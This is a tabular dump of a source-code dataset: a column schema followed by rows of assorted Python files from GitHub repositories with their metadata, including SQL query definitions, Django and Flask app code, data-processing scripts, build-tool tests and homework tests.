blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
220 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
257 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
ab1ae3d0b32da3e9f20bd3fb9d1b81d217bd46eb
02d0b4180184eb5598b3f9c7d2c34540562e74ea
/ND03 - Data Warehouse/sql_queries.py
07cf68f9a46e83fc8bf42ff754f8ffebd3afe15c
[]
no_license
sketha33/Udacity_DE_NanoDegree
8d6e0438686cd61c925c39f13c74257ea6bd9edc
b0d310821a4ea98afd1c7b5ca9f06b0cc1ca2c5f
refs/heads/main
2022-12-29T19:42:33.974834
2020-10-18T20:22:23
2020-10-18T20:22:23
303,818,151
1
0
null
null
null
null
UTF-8
Python
false
false
12,499
py
import configparser # CONFIG config = configparser.ConfigParser() config.read('dwh.cfg') # Truncate TABLES staging_events_table_trun = "TRUNCATE TABLE staging_events" staging_songs_table_trun = "TRUNCATE TABLE staging_songs" songplay_table_trun = "TRUNCATE TABLE songplay" user_table_trun = "TRUNCATE TABLE users" son...
[ "noreply@github.com" ]
sketha33.noreply@github.com
ba7cf89efb3b3e047499591256a9cb869bc442da
351f709d96fc08b2f42f2dd42efe02bff76f41a3
/turtleDraw.py
43a47232ccafb0270905bcad25214f5e0d2dae93
[]
no_license
ChristopherGawdzikD/Turtles
69f9a36627eeea5e7f1d38bbce6126fbe09c91d9
8eeb33f2706c15ba6e4bbb869cada5bebf941616
refs/heads/master
2022-12-04T00:02:12.125401
2020-08-16T18:54:40
2020-08-16T18:54:40
288,003,895
0
0
null
null
null
null
UTF-8
Python
false
false
270
py
from turtle import* def getAudiLogo(): # Will make audi logo #Uses two for loops with one nested for i in range(4): for x in ["grey"]: color(x) pensize(5) circle(50) forward(60) print(getAudiLogo())
[ "noreply@github.com" ]
ChristopherGawdzikD.noreply@github.com
e87ab2c053552be6df6333daf37c54e1c4e56527
3adf9934a74077c328b9a0afff37f8ca355eead1
/comicresizer/forms.py
a2f083f2fd6d9a8ab0f950d16e2e7b6010e34b3e
[]
no_license
jgasteiz/comic-resizer
36671623fe9909f23fba793b44cf4ac56380926a
12d2e12efdf2017746d67a4b6d9616613ee58bb9
refs/heads/master
2021-07-05T05:56:00.911958
2017-09-27T07:43:58
2017-09-27T07:45:25
104,987,910
0
0
null
null
null
null
UTF-8
Python
false
false
105
py
from django import forms class ComicUploadForm(forms.Form): file = forms.FileField(required=False)
[ "javi.manzano.oller@gmail.com" ]
javi.manzano.oller@gmail.com
9e750f8075d60ec1bff5c0ffbb0d33f61c64a8dd
2b7cc7d56ee829213d0111f9c729997f708f9c66
/CreateDB/main.py
0bfe8ad211906988fffb8422edc8c842c6550f66
[]
no_license
Vincentie/TreePrediction
69bb3e92afdd9c33070a18478b604d94feaf45bb
47d632c5701916a581964bf683d4551e0ededca4
refs/heads/master
2021-01-20T17:29:30.309974
2018-09-01T14:57:43
2018-09-01T14:57:43
90,878,296
0
0
null
null
null
null
UTF-8
Python
false
false
3,015
py
__author__ = 'JianxuanLiu' from parse_and_save_data import parse_and_save_data from tradeDays import getTradeDays from computeSentimentals import computeSentiments import numpy as np import pandas as pd from datetime import datetime from datetime import timedelta import sqlite3 """ This main.py is performed to creat...
[ "lavinho@hotmail.com" ]
lavinho@hotmail.com
f0a267d44630536aca0d49d18c4e2b1a5ad6841f
2d9fd57b30cfdda54b1277729b8e50d82120197c
/PEPapp/PEPapp/view.py
fdf075d1ae834a8d568882fc59760f3b36eafc71
[]
no_license
paulinsider/PEP
c7f07c8d7a058525ceec5110d4361d74fe810b1c
68f43a36aae05322dae7b9742429d51416e6f2af
refs/heads/master
2021-01-19T18:23:06.492274
2017-08-29T08:31:27
2017-08-29T08:31:27
101,129,826
1
0
null
null
null
null
UTF-8
Python
false
false
2,706
py
from django.http import HttpResponse,JsonResponse from ContainerModel.models import Container_list from django.shortcuts import render import os def index(request): return render(request, 'common/index.html') def list(request): response = [] list = Container_list.objects.all() for var in list: ...
[ "pav1,paulinsider@gmail.com" ]
pav1,paulinsider@gmail.com
746945952b0fab1f51ee929ad0f0cbeb6aad6a22
4fd90203c000cc4c15fc6d4538e9536f812af05a
/Chapter05/Erosion_Dilation.py
c59037f09ddb47686ea3c34fcf5f01d7aa86b049
[ "MIT" ]
permissive
drabdkadir/GettingStartedwithPythonfortheInternetofThings
77487bbece9fd73ac7d5759d108686e6348dee66
86b57062879baaafd8a7ad332057359874bb3978
refs/heads/master
2020-12-06T15:41:03.055803
2019-02-19T10:09:20
2019-02-19T10:09:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,361
py
# Erosion and Dilation are Morphological Operations # Erosion: Removes pixels at the boundaries of objects in an image # Dilation: Adds pixels to the boundaries of objects in an image # Import Computer Vision package - cv2 import cv2 # Import Numerical Python package - numpy as np import numpy as np # Read the image...
[ "packtadrian@gmail.com" ]
packtadrian@gmail.com
bd46f51391adaab5845a6bb2c79fc3eaaea9933a
878ef94475b349e567f4cae860fc72fc10b98b37
/tests/test_src_introspection.py
44936aba966194503e6b4ce68c650a21b71cc7dc
[ "BSD-2-Clause" ]
permissive
alexswerner/robotpkg_helpers
ec75180a748c5b0af3efed0762a66442469471f8
4cda66e8b9eeedc4dea9f5d4754595e2813a10ad
refs/heads/master
2021-05-19T13:34:59.518543
2020-04-03T01:22:05
2020-04-03T01:22:05
251,726,724
0
0
BSD-2-Clause
2020-03-31T20:43:00
2020-03-31T20:43:00
null
UTF-8
Python
false
false
1,005
py
#!/usr/bin/python3 from unittest import TestCase from robotpkg_helpers import RobotpkgSrcIntrospection from robotpkg_helpers import init_environment_variables from robotpkg_helpers.utils import add_robotpkg_mng_variables robotpkg_root='/integration_tests/robotpkg-test-rc' #robotpkg_vars = add_robotpkg_mng_variables(r...
[ "ostasse@laas.fr" ]
ostasse@laas.fr
d4198914f012849544bc1c5edb24c3a5c7164a20
6151a3c25988eb4eac0c00289b90b2e42d4960eb
/homeworks/HW01/tests/q3.1.4.py
169c9f8d67015fae9fa40c7ff6828bffde9e7c4e
[]
no_license
BC-COMS-2710/summer21-material
8e3bbbb375433fa0b575cf39eed4bdf2d3b486d3
f07ffc1595d7a924a5fca0636161ded26b28e655
refs/heads/master
2023-05-28T22:52:25.941752
2021-06-10T14:44:42
2021-06-10T14:44:42
353,820,186
0
0
null
null
null
null
UTF-8
Python
false
false
545
py
test = { 'name': 'q3.1.4', 'points': [0.1, 0.1], 'suites': [ { 'cases': [ {'code': '>>> assert easiest_fres_pres != ...;\n>>> assert easiest_fres_year != ...\n', 'hidden': False, 'locked': False}, {'code': '>>> assert type(easiest_fres_pres) == str;\n>>> assert "int" i...
[ "azpoliak@gmail.com" ]
azpoliak@gmail.com
3230e906d4b1aa90eb08e3bde5029121942a2cbd
7f3d3d02c3ab6e14e72ba4852828071af37088b5
/unicorn/utils.py
28b212cd4e1e3a2979ad7dbf787622b52a3ff4c3
[ "MIT" ]
permissive
phantasy-project/unicorn
cf28b936e2a11ba551724fda8ad7f72da129b661
25d790adb1c4390eb715249dc94423228997f3a4
refs/heads/master
2021-10-27T06:23:33.688585
2021-10-15T19:28:01
2021-10-15T19:28:01
150,592,912
0
1
null
null
null
null
UTF-8
Python
false
false
2,355
py
# -*- coding: utf-8 -*- import pickle import codecs import xlrd import numpy as np import sys from collections import namedtuple DATA_X_COL_IDX = 7 DATA_Y_COL_IDX = 8 UniFunc = namedtuple('UniFunc', 'name ename from_field to_field description args code code_str data_x data_y') def pickle_obj(obj, coding='base64...
[ "zhangt@frib.msu.edu" ]
zhangt@frib.msu.edu
e1c702b160ba4a1de40e09ddb343fe3c2f08c3f7
8b19b224b9a26ebf586e295c61954ffb927f6e04
/MUPHY/MAGIC/BACKEND/SCRIPTS/TOOLS/get_xsect2.py
aad7b98542b39a06acd098f22067445908a72055
[]
no_license
iacs-ac290r-2019/homework
5ca12a3e7fa0721e6785ca5a9069037673c3c591
7e052a85f97d0496c44b7aea1e5671c982cb064a
refs/heads/master
2020-04-22T22:27:57.534981
2019-05-08T03:52:20
2019-05-08T03:52:20
170,709,287
0
0
null
2019-04-09T15:37:53
2019-02-14T15:01:52
Jupyter Notebook
UTF-8
Python
false
false
14,105
py
#!/usr/bin/env python import os import re import sys import time import math import getopt def usage(): print >> sys.stderr, "Usage:",sys.argv[0],"-g stl_file -c vtk_file -s px,py,pz -e px,py,pz -n numcuts [-m]" print >> sys.stderr, "Options:" print >> sys.stderr, "\t-g stl_file" print >> sys.stderr, ...
[ "michael.s.emanuel@gmail.com" ]
michael.s.emanuel@gmail.com
03221d11ae596056771dd6a40155d30b9efb8bb4
7d98a40b425bfae9cac908d227a90e040300f3e8
/app/main/errors.py
5d2f11e1532ea3e234aa61423854b6769a8a9f4b
[ "MIT", "ODbL-1.0" ]
permissive
jmeydam/alternative-destinations
b999b340590fa0ceb162e5de1b2170e510affb31
dec000db45a8005ff5408bc9756ea13f821b52f1
refs/heads/master
2020-04-13T20:17:53.900399
2019-10-24T16:01:27
2019-10-24T16:01:27
163,426,383
0
0
MIT
2019-10-25T11:19:45
2018-12-28T15:52:02
Python
UTF-8
Python
false
false
253
py
from flask import render_template from . import main @main.app_errorhandler(404) def page_not_found(e): return render_template('404.html'), 404 @main.app_errorhandler(500) def internal_server_error(e): return render_template('500.html'), 500
[ "jmeydam@gmail.com" ]
jmeydam@gmail.com
0e20b8dd3e3ed1558f602d3055cc0b3c37906bf2
50df6586213af876ee741be559434537b1ef03ef
/first/second.py
ff1e56b06a3fb21265e3ceeb8b06c36996b077d9
[]
no_license
ujjwalagr/HacktoberFest
e4329550cb320f4b3a369a91e4de51857b6e4755
884d5993c8ac30a4af23d213f3b22002eb7bd39b
refs/heads/master
2020-08-08T15:11:47.778438
2019-10-09T08:10:36
2019-10-09T08:10:36
213,856,036
0
2
null
2019-10-13T08:37:07
2019-10-09T07:56:08
Python
UTF-8
Python
false
false
16
py
print('second')
[ "ujjwalagrawal53@gmail.com" ]
ujjwalagrawal53@gmail.com
94540c0cfc7509d41aeaeedc64a11096d5b2616a
81d955c3ac886e690ceb01026ed769b1784dbef9
/purity_fb/purity_fb_1dot8/apis/quotas_groups_api.py
665498e5f3f9ea81a3c569698b958f1cb115c367
[ "Apache-2.0" ]
permissive
etsangsplk/purity_fb_python_client
bc525ef1a18f6a79c1536cb4519a7efd58d09d89
0807a0fa2eab273bc08f73266d9cda9fa33b37bd
refs/heads/master
2020-06-03T05:49:03.015147
2019-05-16T06:11:40
2019-05-16T06:11:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
26,547
py
# coding: utf-8 """ Purity//FB REST Client Client for Purity//FB REST API (1.0 - 1.8), developed by [Pure Storage, Inc](http://www.purestorage.com/). Documentations can be found at [purity-fb.readthedocs.io](http://purity-fb.readthedocs.io/). OpenAPI spec version: 1.8 Contact: info@purestorage.com ...
[ "azaria.zornberg@purestorage.com" ]
azaria.zornberg@purestorage.com
2e123c89f8d30f43907e5e3da0590091363d41cd
aded26493d24aa5d902498f4c8406a68993f9eca
/model.py
ebc06ba10c1988c0ff3d9dd65e81c124fdafa128
[]
no_license
vampiirre/territorial-conflict
e88c7dbb07e8336d4c3c8e771e27918eda447b1e
5c107291f515e5856a3e19b024893148ae34acec
refs/heads/master
2020-05-27T16:02:37.596300
2020-05-19T15:17:56
2020-05-19T15:17:56
188,692,020
0
0
null
null
null
null
UTF-8
Python
false
false
115,594
py
import matplotlib.pyplot as plt import numpy as np import matplotlib as mpl import matplotlib.dates as mdates import datetime as dt import csv import matplotlib.animation from matplotlib import cm from scipy.io import loadmat import pandas as pd import sys import tqdm from tqdm import tqdm_notebook import pickle import...
[ "noreply@github.com" ]
vampiirre.noreply@github.com
ba86f9ca658290dd2ff911890bc481e0c6568938
82e7b27cc4377def80c2b475645d502e40a0e498
/newsletter/migrations/0009_auto_20160215_0258.py
d627d656950946d66269e848a6dd0b1a53943507
[]
no_license
craYBoi/bryte
850698e735a08ea10a08a78dc9e23b7e760c682f
d2b5a74d200ccb06cc3ef4e3180b83cbc338ce3e
refs/heads/master
2022-12-12T08:54:56.863372
2017-06-28T05:03:32
2017-06-28T05:03:32
63,019,677
0
0
null
2022-11-22T01:00:25
2016-07-10T21:44:41
CSS
UTF-8
Python
false
false
475
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.1 on 2016-02-15 02:58 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('newsletter', '0008_auto_20160215_0249'), ] operations = [ migrations.AlterFi...
[ "baoyuyang@Yuyangs-MacBook-Pro.local" ]
baoyuyang@Yuyangs-MacBook-Pro.local
bbd48bd8cb59d48d867df4dbad5af7cf9a4a87d6
085ce75a507df6e755cabb7a65c4a2a8c98762ba
/dockerfiles/root/.pycharm_helpers/python_stubs/-252567642/_multiprocessing.py
fee21a8eebfb053e451fc85ad0c04b02fa80eb4e
[]
no_license
Arhzi/habr-docker-article
d44302db1fe157d81fe0818e762e82218f50e31f
6fb094860b612e307beadaeb22981aa0ee64e964
refs/heads/master
2021-01-23T20:41:47.398025
2015-12-10T08:56:33
2015-12-10T08:56:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,156
py
# encoding: utf-8 # module _multiprocessing # from /usr/local/lib/python2.7/lib-dynload/_multiprocessing.so # by generator 1.137 # no doc # no imports # functions def address_of_buffer(obj): # real signature unknown; restored from __doc__ """ address_of_buffer(obj) -> int Return address of obj assuming ob...
[ "sirnikolasd@yandex.ru" ]
sirnikolasd@yandex.ru
913a6ef26df5d59e656f52dc0d849452433fc3c5
1451a6fa3403a6b33c2adc31d94070ab16dca333
/avaliacao2/tweet_stream.py
9cfd7f240ef2a61b571df332ef38ba3e010927ef
[]
no_license
lucaslioli/ufsm-deep-learning
b22a4ac5fa1604f04c9bd422b5b58f6e62577006
cf32547969d7ad7ad14235561df70a2a942ea9ec
refs/heads/master
2020-03-21T14:42:35.469428
2019-10-14T12:31:48
2019-10-14T12:31:48
138,671,760
0
0
null
null
null
null
UTF-8
Python
false
false
2,784
py
import sys import tweepy import pickle as pkl from authenticate import api_tokens #override tweepy.StreamListener to add logic to on_status class MyStreamListener(tweepy.StreamListener): def on_status(self, status): if(not status.retweeted and 'RT @' not in status.text[0:4] and status.lang == "pt"): ...
[ "loliveira@inf.ufsm.br" ]
loliveira@inf.ufsm.br
3678b34fa02bf2efb255c7b1a52c9d39e07c3bfb
b78c255d1c8b917c21bf689f5f9153d765fbe195
/dogpack/apps/2d/advection/rotating_unst/plotq2_unst.py
7daa00269f64d5c3e12163634a8895661de93be2
[]
no_license
smoe1/ImplicitExplicit
8be586bed84b1a661e5fe71f5b063dcd406643fa
2b9a2d54110ca0f787d4252b9a8cc6d64b23b08d
refs/heads/master
2016-09-08T02:39:48.371767
2015-09-15T21:15:08
2015-09-15T21:15:08
41,374,555
0
1
null
null
null
null
UTF-8
Python
false
false
2,142
py
#---------------------------------------------------------- def plotq2_unst(outputdir, n1, m, meqn, NumPhysElems, NumPhysNodes, xlow, xhigh, ylow, yhigh, time, x, y, tnode, qsoln, xmid, ymid, qsoln_elem): import numpy as np import matplotlib.pyplot as plt from math import...
[ "smoe@uw.edu" ]
smoe@uw.edu
401fa3bf6245f4b4d4def26da033aa3a82b885bf
57588093c6ed6dff087d71073eabb061210bd5eb
/myproject/urls.py
22a7f73fecef274020ae45dcdcdc6d96f784f13a
[]
no_license
python-ottawa/opag
a2249a0da49af586c01934f9cf9e6596815d8733
66ea38475974f0e0edf04c3e9b86e612fedf8fb8
refs/heads/master
2021-07-03T14:47:36.498972
2015-06-24T22:27:32
2015-06-24T22:27:32
35,083
2
1
null
2021-06-10T17:27:49
2008-07-18T01:11:44
HTML
UTF-8
Python
false
false
715
py
from django.conf.urls.defaults import * from django.contrib import admin from django.conf import settings admin.autodiscover() urlpatterns = patterns('', # To serve static content in development. # Admin access (r'^admin/', include(admin.site.urls)), # Default handler is the main app. (r'', includ...
[ "msoulier@digitaltorque.ca" ]
msoulier@digitaltorque.ca
086aebcfe4c9dc2fee2d104a55ae67c41c0a5a78
a9c9316fe425dac911ca6b3e33d2c76c48e428b3
/maro/cli/process/agent/job_agent.py
9949099a4a06c3dc64c4c01c928c20c7d4ebcf1d
[ "MIT", "LicenseRef-scancode-generic-cla" ]
permissive
00mjk/maro
a64601d5c43a7e6808b1cab1c19be15595395ce1
05a64a67fee7d2c4198a57593c464d64e0a8ce7f
refs/heads/master
2023-03-11T16:58:54.043497
2021-02-10T15:31:58
2021-02-10T15:31:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,593
py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import json import multiprocessing as mp import os import subprocess import time import psutil import redis from maro.cli.process.utils.details import close_by_pid, get_child_pid, load_setting_info from maro.cli.utils.params import LocalPaths, ...
[ "noreply@github.com" ]
00mjk.noreply@github.com
78db018846126fb9febd6f19a4e4506f2d44c459
4ea4f9f8cbb652aea7f82089eb39b8a86a466a81
/lib/muchos/config/__init__.py
13294f17e2ca9040fc4f68596eaa0a65f18d19d9
[ "Apache-2.0" ]
permissive
shannawaz/fluo-muchos
62ef9bf65baae3a823630fc11e35b4620aac2056
98102a5b14a71642a7972d20d57b38373a375577
refs/heads/master
2020-09-24T02:40:37.204495
2020-03-24T18:06:38
2020-03-24T18:06:38
225,641,914
0
0
Apache-2.0
2019-12-03T14:37:26
2019-12-03T14:37:26
null
UTF-8
Python
false
false
1,700
py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
[ "kturner@apache.org" ]
kturner@apache.org
70044d57fced0a79461899cfe23e9212aef8c5de
1dafc27c7f754f936135ef8614ab291854034022
/samples/compute/disable_manage_disk_encryption_set.py
2d93c612d3dc60bada457e5fdc07c1f45c83cea8
[ "MIT" ]
permissive
ArunAyyagari/azure-samples-python-management
6f329b35e71939a5539e164e55097a15c6d7dea6
cfe187ce49aad35d84d0a61ba6d3ef156095ff0c
refs/heads/master
2022-08-29T03:10:47.894017
2020-05-25T02:32:18
2020-05-25T02:32:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,563
py
# -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import os...
[ "sunkaihuisos@gmail.com" ]
sunkaihuisos@gmail.com
208a1844a81ead0571afc60c1414be53b9b0f78c
05352c29e844705f02d65526343eea9b486f8bd7
/src/python/pants/backend/python/rules/run_setup_py_test.py
001faa56b7b0e7fd0e62305736c4abe5951844de
[ "Apache-2.0" ]
permissive
DoN-SultaN/pants
af2557de1178faaf73eed0a5a32e8f6fd34d2169
5cb5379003a0674c51f9a53f582cf690eddfaf45
refs/heads/master
2022-10-15T04:18:54.759839
2020-06-13T10:04:21
2020-06-13T10:04:21
272,089,524
1
0
Apache-2.0
2020-06-13T21:36:50
2020-06-13T21:36:49
null
UTF-8
Python
false
false
27,011
py
# Copyright 2019 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). import json import textwrap from typing import Iterable, Type import pytest from pants.backend.python.python_artifact import PythonArtifact from pants.backend.python.rules.run_setup_py i...
[ "noreply@github.com" ]
DoN-SultaN.noreply@github.com
afa6b518a0c6de01cc70441c23e6ca16e0edd3b8
74d1757d8788d5892a8853b15749391fdf9c1a6a
/TaskAPI/TaskAPI/urls.py
4ba00b3c745c334f8fa19b18ffbc3b133f84f7e8
[]
no_license
gogobook/TaskAPI
e3139a70f2f5257c83a590e13005ac4f7740f1d4
9b918659bba4aa562000219ef65dbce21a363f10
refs/heads/master
2020-06-30T23:46:14.955729
2016-11-23T09:31:13
2016-11-23T09:31:13
74,561,224
0
0
null
null
null
null
UTF-8
Python
false
false
1,151
py
"""TaskAPI URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.10/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-ba...
[ "O968041428@gmail.com" ]
O968041428@gmail.com
5260c2df4a64f3a54d8b18ae12abc281fe8a4af7
06d09ea58ce1cfc0501ed598dbecda4273597567
/HMM/process_finally.py
601d32af19718cde39116fa35d48b669077234a8
[]
no_license
SunflowerAries/Pinyin-to-Character
0c0abdbf7cc07d902f43ad9c3b8103e887a483e2
363faaf1b3f3fb3addce11f2b3d4bc9af62f588f
refs/heads/master
2020-11-30T08:28:48.738699
2020-01-12T14:20:05
2020-01-12T14:20:05
230,356,429
3
1
null
null
null
null
UTF-8
Python
false
false
2,914
py
# coding: utf-8 import json, codecs BASE_START_FILE = 'data/base_start.json' BASE_EMISSION_FILE = 'data/base_emission.json' BASE_TRANSITION_FILE = 'data/base_transition.json' ALL_STATES_FILE = 'data/all_states.txt' # 所有的字 ALL_OBSERVATIONS_FILE = 'data/all_observations.txt' # 所有的拼音 PY2HZ_FILE ...
[ "17307130191@fudan.edu.cn" ]
17307130191@fudan.edu.cn
53d12f540c00edd4490afc63f713584360966ba7
cec21b1d674aaf7d62d7730e637229577a2e27e2
/First_WebApp/counter.py
bb45d5e811601fba683b7e124370451ce0b1addd
[]
no_license
arpitntripathi/first_WebApp
50028c0d792581f3c0639d07333d087035503e22
584095a61476bbc8c82d92e95526fa4008c788de
refs/heads/master
2022-12-23T23:52:01.117763
2020-09-12T20:34:29
2020-09-12T20:34:29
254,751,588
0
0
null
null
null
null
UTF-8
Python
false
false
365
py
import operator def count(article): words = article.split() word_count = len(words) dict_words = {} for word in words: if word in dict_words: dict_words[word] += 1 else: dict_words[word] = 1 var_dict = sorted(dict_words.items(), key=operator.itemgetter(1), r...
[ "arpitnathtripathi@gmail.com" ]
arpitnathtripathi@gmail.com
288a244c7b7b0c75beeca7844880dcf05b568272
ab41cbae15cbbaac52ec7db5da568b337d232bf6
/lib/tools/ssh_update.py
f9d1b6db3f56e7fcd50aa5b66a06fbe27614fb08
[ "BSD-2-Clause" ]
permissive
skycover/ganeti-2.15.2
9d6eef72cd1c7942c7b293c4bcc4c0b62f880e9f
db69c3917c1ae00f31943c52c147c7938ce64d9c
refs/heads/master
2021-01-24T13:24:02.294516
2018-02-27T18:52:36
2018-02-27T18:52:36
123,173,553
0
0
null
2018-02-27T18:53:46
2018-02-27T18:53:46
null
UTF-8
Python
false
false
7,218
py
# # # Copyright (C) 2014 Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and ...
[ "vs@ipatov.net" ]
vs@ipatov.net
76401ac4e722d051809095cd5b95aa29888ec01d
8485ac621de45db5db3a1faf248690650d951258
/tracker.py
d39f4122960155450e4719a98a2d22a93bca568b
[]
no_license
gerardo8al/portfolio_tracker
610e538dfc315c870a6838d8ea68bf3766e8b838
5c27e71c00f1d729484afd6b8366b069c98246a4
refs/heads/master
2020-03-12T17:30:26.253308
2018-04-24T20:21:00
2018-04-24T20:21:00
130,737,666
0
0
null
null
null
null
UTF-8
Python
false
false
700
py
from constants import * import csv import urllib.request import json def send_get_request(url): response = urllib.request.urlopen(url) json_back = response.read() json_back = json.loads(json_back.decode('utf-8')) #json_pretty_print(json_back) return json_back def json_pretty_print(parsed): pri...
[ "gerardo8a@gmail.com" ]
gerardo8a@gmail.com
f5a22a136e56bae2893f9a941bb1b6af17239b3a
17c266cef1c620d729cb8a9e3d9f47ce389c8c8f
/createclass.py
5021f3d1d2e81f759b077fa10c3f8fa9e62f953d
[]
no_license
mubasil/flavortown
2cdc66492dfb46bbb78b8d42ff8a5b489db7a9a3
68b4ec2179782916fba0aa204255a75bba459b53
refs/heads/rory
2021-01-21T12:11:48.035094
2017-11-30T23:22:34
2017-11-30T23:22:34
102,047,698
0
2
null
2017-11-30T23:23:23
2017-08-31T21:39:02
JavaScript
UTF-8
Python
false
false
745
py
import csv import json import os classifiers = [] recipeClasses = ["Asian", "Mexican", "Italian"] for recipeClass in recipeClasses: directory = os.path.join(os.getcwd(), recipeClass) for filename in os.listdir(directory): with open(os.path.join(directory, filename)) as fileinfo: data =...
[ "mubasil@yahoo.com" ]
mubasil@yahoo.com
b0514a0533d844c12afb5368772ef5d43d163ea9
490ac0cbeb1436a642d236381b277b07a86aff2a
/blog/migrations/0001_initial.py
19f8b37b13b8007b355b1319c3edd370ddfaf805
[]
no_license
Marshall210/My_site
8f445ce073d75a6b3675c7876288ef6627b3859d
8130394070c382af510e2912772b0c9e830e619c
refs/heads/master
2020-07-21T11:08:50.900237
2019-09-22T14:12:17
2019-09-22T14:12:17
206,843,651
0
0
null
null
null
null
UTF-8
Python
false
false
986
py
# Generated by Django 2.2.5 on 2019-09-20 18:21 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUT...
[ "tymchenko99978@gmail.com" ]
tymchenko99978@gmail.com
9eedcc25d03a6a9bc42984a3f718564309407905
48b50c0b525956fa2267b00021d52ca5ef715e81
/02-notifon/scale-up.py
061c708974183ea6f322a4a2c16cd5a2363eb13f
[]
no_license
cashpole/automating-aws-with-python
2bcdb97fa4d7768a1a4ac581b16935262a20b27c
fb6bcf6da93f80fbd11944be080e7a34da993f3d
refs/heads/master
2022-12-08T20:09:59.514534
2019-07-01T19:18:07
2019-07-01T19:18:07
186,532,329
0
0
null
2022-09-08T08:22:31
2019-05-14T02:47:02
Python
UTF-8
Python
false
false
224
py
# coding: utf-8 import boto3 session = boto3.Session(profile_name='pythonAutomation') as_client = session.client('autoscaling') as_client.execute_policy(AutoScalingGroupName='Notifon Example Group', PolicyName='Scale Up')
[ "cashpole@hotmail.com" ]
cashpole@hotmail.com
48d78e65acb643608b7d9a129ff13c6c9954b465
c15a50057951317728f4eaa1854904b53161c19e
/FM_FTRL/ftrl_utils/params.py
1b77ef869aa96fceab4d0c0f42338693acfd1c7b
[]
no_license
marvinxu-free/talking_data
8ca3ecab5ed5585fd0db46cebd27148e71495d2a
1549fe13dc9489255c3c87dd6c13a65a1176ea07
refs/heads/master
2020-03-16T05:41:15.437712
2018-05-10T02:56:27
2018-05-10T02:56:27
132,538,041
0
0
null
null
null
null
UTF-8
Python
false
false
666
py
# -*- coding: utf-8 -*- # Project: ml_more_algorithm # Author: chaoxu create this file # Time: 2018/4/16 # Company : Maxent # Email: chao.xu@maxent-inc.com import os module_path = os.path.split(os.path.realpath(__file__))[0] Data_path = os.path.realpath("{0}/../../input".format(module_path)) train_file = '{0}/train_n...
[ "chao.xu@maxent-inc.com" ]
chao.xu@maxent-inc.com
ce08b5951af442d5ac48612351d428e06a55e1e3
2ef93f98aef88475441e112223d127b583bc96ec
/tesla_ohlc.py
91125a3b6ff6b4d4e6ad12ce6a156a620543b75f
[]
no_license
bluesealin/Machine-Learning
ba6d54ef82879f0cf5f3ef58a7bb9941d15e0e94
cc637c8901c384e70b7b1decac66ec4d245075c5
refs/heads/master
2021-05-03T07:42:55.966116
2018-01-17T17:41:05
2018-01-17T17:41:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,573
py
import datetime as dt import matplotlib.pyplot as plt from matplotlib import style from matplotlib.finance import candlestick_ohlc import matplotlib.dates as mdates import pandas as pd import pandas_datareader.data as web style.use('ggplot') # creating the csv file #start = dt.datetime(2000, 1, 1) #end = dt.datetime...
[ "lucasdraichi@gmail.com" ]
lucasdraichi@gmail.com
8b8c7653fa04c56d1f7f07d4dfa5f5737209c3b7
c9a34a7036865101d05065fe47e86c8b173d0b93
/test.py
fbe90e2d911fe9a2612c4329bca87b6036e73644
[]
no_license
Pablocg0/Proyecto_ia
7f4e810a5b3cffe586609527d4f2c1367c0ee096
5f8ffa56f5e4c7b8adbe098b81599fa7fddbb7ae
refs/heads/master
2020-09-06T18:10:44.894310
2019-11-09T05:54:18
2019-11-09T05:54:18
220,504,872
0
0
null
null
null
null
UTF-8
Python
false
false
157
py
import pandas as pd diccionario = pd.read_csv("dick_1.csv") palabra = diccionario["a"].sample(n=10) palabra.to_csv("dick.csv",encoding='utf-8',index=False)
[ "pablocg064@gmail.com" ]
pablocg064@gmail.com
f2364a1f5e0049d916164fd82672d551cdfff20d
436568fbadd6f52fb5388136a67eef75d86bc6a7
/Python3_Mundo2_Introdução ao Mundo 2/Python3_Mundo2_Aula15_Interrompendo repetições while/Desafio068.py
f36c743d48b38c87c1b3a887d28b18324ddafa96
[ "MIT" ]
permissive
AgladeJesus/python
3c72cddaf4e3c92464b5cee7975bd56a764b5f5c
16e4e5cc43aa987858a4719748708d6d5327d75d
refs/heads/master
2023-08-31T08:34:17.069874
2021-09-08T08:45:05
2021-09-08T08:45:05
377,415,579
0
0
null
null
null
null
UTF-8
Python
false
false
944
py
